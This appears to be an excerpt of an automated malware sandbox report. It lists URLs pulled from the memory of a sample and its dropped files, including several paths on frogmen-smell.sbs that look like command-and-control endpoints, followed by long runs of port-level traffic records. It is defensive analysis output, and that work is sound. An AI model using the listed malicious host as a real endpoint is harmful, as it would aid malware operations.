Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000134F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/1w
Source: 0f2c5625b4.exe, 00000018.00000003.2901428972.0000000001531000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2896700481.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2901373608.000000000152D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/77
Source: 0f2c5625b4.exe, 00000018.00000003.2870050085.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/W
Source: 0f2c5625b4.exe, 00000018.00000003.2991998695.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/_
Source: 0f2c5625b4.exe, 0f2c5625b4.exe, 00000018.00000003.3162518940.000000000152D000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2925826433.0000000001540000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2901321266.0000000001540000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.3163231935.0000000001530000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2896656857.0000000001540000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.3070687247.0000000001532000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2925765192.0000000005E01000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2962447541.0000000001540000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2925233765.0000000001540000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2992442973.0000000005E01000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2869996820.0000000001530000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3102444381.0000000001408000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3021506606.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3020923978.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023021151.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3086618347.000000000140F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: 0f2c5625b4.exe, 00000018.00000003.3163231935.0000000001541000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2991746256.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001541000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.0000000001541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiTjrVYJqa
Source: 0f2c5625b4.exe, 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apicu
Source: 0f2c5625b4.exe, 00000018.00000003.2925233765.0000000001540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apie
Source: 0f2c5625b4.exe, 0000001C.00000003.3102444381.0000000001408000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apif
Source: 0f2c5625b4.exe, 0000001C.00000003.3049026525.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apih
Source: 0f2c5625b4.exe, 0000001C.00000003.3047824326.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3049627187.0000000005C6C000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3048439177.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3048848375.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/d&
Source: 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/ey4
Source: 0f2c5625b4.exe, 00000018.00000003.2926043902.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2925233765.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/g
Source: 0f2c5625b4.exe, 00000018.00000003.3070768730.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2991998695.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/o
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 0f2c5625b4.exe, 00000018.00000003.2901006960.0000000005E92000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2899980142.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003856857.0000000005C64000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C61000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3002414579.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003133768.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: 0f2c5625b4.exe, 00000018.00000003.2901006960.0000000005E92000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2899980142.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003856857.0000000005C64000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C61000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3002414579.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003133768.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0f2c5625b4.exe, 0000001C.00000003.3025015717.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 7ae91bba-1566-480d-aabc-ae99802a967f.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: 0f2c5625b4.exe, 00000018.00000003.2927913732.0000000005EFA000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3024771762.0000000005D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 0f2c5625b4.exe, 00000018.00000003.2927913732.0000000005EFA000.00000004.00000800.00020000.00000000.sdmp, HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HIDHDAAEHIEHIECBKJDGDBFBGI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
